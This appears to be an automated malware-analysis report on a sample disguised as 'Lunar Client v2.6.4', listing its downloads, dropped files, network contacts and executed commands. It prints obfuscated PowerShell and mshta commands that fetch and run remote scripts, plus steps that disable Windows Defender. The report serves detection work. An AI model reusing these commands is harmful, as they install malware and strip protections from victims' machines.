Technical Information
Malicious functions
Downloads
- http://fi###.alifares.org/defender/ff.ps1 as c:\users\public\ff.ps1
- http://fi###.alifares.org/defender/defendercontrol.ini as c:\users\public\defendercontrol.ini
- http://fi###.alifares.org/defender/googleupdate.bat as c:\users\public\googleupdate.bat
- http://fi###.alifares.org/defender/defendercontrol.exe as c:\users\public\defendercontrol.exe
- https://archive.org/download/1_20210422_202104/1.txt as c:\users\public\msi.ps1
- http://fi###.alifares.org/defender/defenderkill.lnk as c:\users\public\defenderkill.lnk
- http://fi###.alifares.org/defender/defender.bat as c:\users\public\defender.bat
- http://fi###.alifares.org/defender/dicord.lnk as %allusersprofile%\microsoft arts\start\dicord.lnk
- http://fi###.alifares.org/defender/kil.ps1 as c:\users\public\kil.ps1
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\lunar client v2.6.4.exe
- %ALLUSERSPROFILE%\lunar client v2.6.4.vbs
- %TEMP%\nsbf834.tmp\system.dll
- %TEMP%\nsbf834.tmp\stdutils.dll
- C:\users\public\11.ps1
- C:\users\public\ss.vbs
- C:\users\public\ff.ps1
- C:\users\public\defendercontrol.ini
- C:\users\public\googleupdate.bat
- C:\users\public\defendercontrol.exe
Network activity
Connects to
- 'ar##ive.org':443
- 'cr#.#odaddy.com':80
- 'microsoft.com':80
- 'fi###.alifares.org':80
TCP
HTTP GET requests
- http://cr#.#odaddy.com/gdroot-g2.crl
- http://fi###.alifares.org/defender/ss.vbs
UDP
- DNS ASK ar##ive.org
- DNS ASK cr#.#odaddy.com
- DNS ASK microsoft.com
- DNS ASK ia#####4.us.archive.org
- DNS ASK ia#####7.us.archive.org
- DNS ASK fi###.alifares.org
- DNS ASK st####.rapidssl.com
Miscellaneous
Searches for the following windows
- ClassName: '#32770' WindowName: ''
Creates and executes the following
- '%ALLUSERSPROFILE%\lunar client v2.6.4.exe'
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\ss.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File C:\Users\Public\11.ps1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File C:\Users\Public\ff.ps1
- 'C:\users\public\defendercontrol.exe' /D
- 'C:\users\public\defendercontrol.exe' /SYS 1
- '<SYSTEM32>\mshta.exe' https://archive.org/download/4_20210422/4.txt' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''https://archive.org/download/3_20210422_202104/3.txt'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File C:\Users\Public\11.ps1' (with hidden window)
Executes the following
- '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\Lunar Client v2.6.4.vbs"
- '<SYSTEM32>\mshta.exe' https://archive.org/download/4_20210422/4.txt
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''https://archive.org/download/3_20210422_202104/3.txt'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File C:\Users\Public\kil.ps1
- '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\Defender.bat" "
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '<SYSTEM32>\svchost.exe' -k secsvcs
- '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\GoogleUpdate.bat" "
- '<SYSTEM32>\mshta.exe' vbscript:Execute("CreateObject(""WScript.Shell"").Run ""p"+"ow"+"ersh"+"ell -Ex"+"ecuti"+"onPol"+"icy Bypa"+"ss & 'C"+":\Us"+"ers\P"+"ubl"+"ic\msi"+".ps1'"", 0:close")
